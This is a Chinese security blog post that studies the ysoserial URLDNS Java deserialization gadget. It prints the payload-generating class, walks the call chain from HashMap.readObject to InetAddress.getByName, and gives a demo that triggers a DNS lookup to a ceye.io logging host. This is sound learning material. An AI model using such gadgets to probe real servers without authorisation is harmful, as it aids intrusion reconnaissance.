文章归档

置顶文章

Web安全

Web安全基础

PHP相关

Writeups

靶机系列

HackTheBox-Retired

HackTheBox-Active

VulnHub

代码审计

PHP代码审计

大数据安全

机器学习

基础学习

Python

Python基础

Python安全

Java

Java基础

Java安全

算法

Leetcode

随笔

经验

技术

 2021-03-13   845

Java安全学习之ysoserial URLDNS详细分析

参考:

P神—代码审计—Java安全漫谈-08.反序列化篇(2)

java测试环境:

打开ysoserial项目,找到ysoserial/src/main/ysoserial/payloads/URLDNS.java文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
public class URLDNS implements ObjectPayload<Object> {

public Object getObject(final String url) throws Exception {

//Avoid DNS resolution during payload creation
//Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
URLStreamHandler handler = new SilentURLStreamHandler();

HashMap ht = new HashMap(); // HashMap that will contain the URL
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.

Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.

return ht;
}

public static void main(final String[] args) throws Exception {
PayloadRunner.run(URLDNS.class, args);
}

/**
* <p>This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance.
* DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior
* using the serialized object.</p>
*
* <b>Potential false negative:</b>
* <p>If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the
* second resolution.</p>
*/
static class SilentURLStreamHandler extends URLStreamHandler {

protected URLConnection openConnection(URL u) throws IOException {
return null;
}

protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
}

这就是用来生成payload的Gadget。代码暂时看不明白问题不大,可以先看注释来找反序列化的入口点readObject函数。

那么,我们可以直奔 HashMap 类的 readObject ⽅法:

因为从注释中可知道,是hashCode的计算操作触发了DNS请求,所以直接看到1413行,这里使用hash方法处理key,跟进hash方法:

这里调用了keyhashCode方法,调用keyhashCode方法就是调用URL类型的hashCode的方法。

为什么这么说?回到URLDNS类文件:

很明显是要把URL对象当做Key,那么就查看URL.java文件中的hashCode方法:

hashCode是一个私有变量,默认值为-1,所以接着调用了hanlder类的hashCode方法,查看URLStreamHandler类的hanlder

继续跟getHostByName方法:

终点就在getByNameAPI函数,把Host解析成IP地址:

从而会触发一次DNS请求。

回到HashMap.java的readObject方法:

看到第1410行,keyvalue两个参数都是通过readObject获取的,那么肯定在序列化时向其中写了内容,因为没有序列化,哪来反序列化之说。在HashMap.java文件中搜索writeObject函数:

跟进internalWriteEntries函数:

我们发现这里的key和value是从tab[i]中取出来的,而tab的值就是HashMap的table的值,而tab的值就是HashMap的table的值。如果我们想修改table的值的话,就是修改hashMap的put方法,查看put方法:

如果我们调用了HashMap的put方法,就会去调用一次hash函数。

再回来看ysoserial给的Gadget:

把URL对象作为key传给了hash函数,那么也就是调用URL.java的hash方法,最后到了getByNameAPI函数。

其实我们也可以自己写一个demo:

1
2
3
4
5
6
7
8
9
10
11
12
13
package demo;

import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;

public class UrlDnsDemo {
public static void main(String[] args) throws MalformedURLException {
HashMap map = new HashMap();
URL url = new URL("http://ufzv12.ceye.io");
map.put(url, 123);
}
}

所以,⾄此,整个URLDNS的Gadget其实清晰⼜简单:

1.HashMap->readObject()

2.HashMap->hash()

3.URL->hashCode()

4.URLStreamHandler->hashCode()

5.URLStreamHandler->getHostAddress()

6.InetAddress->getByName()

从反序列化最开始的readObject,到最后触发DNS请求的getByName,只经过了6个函数调⽤。

Copyright © ca01h 2019-2021 | 本站总访问量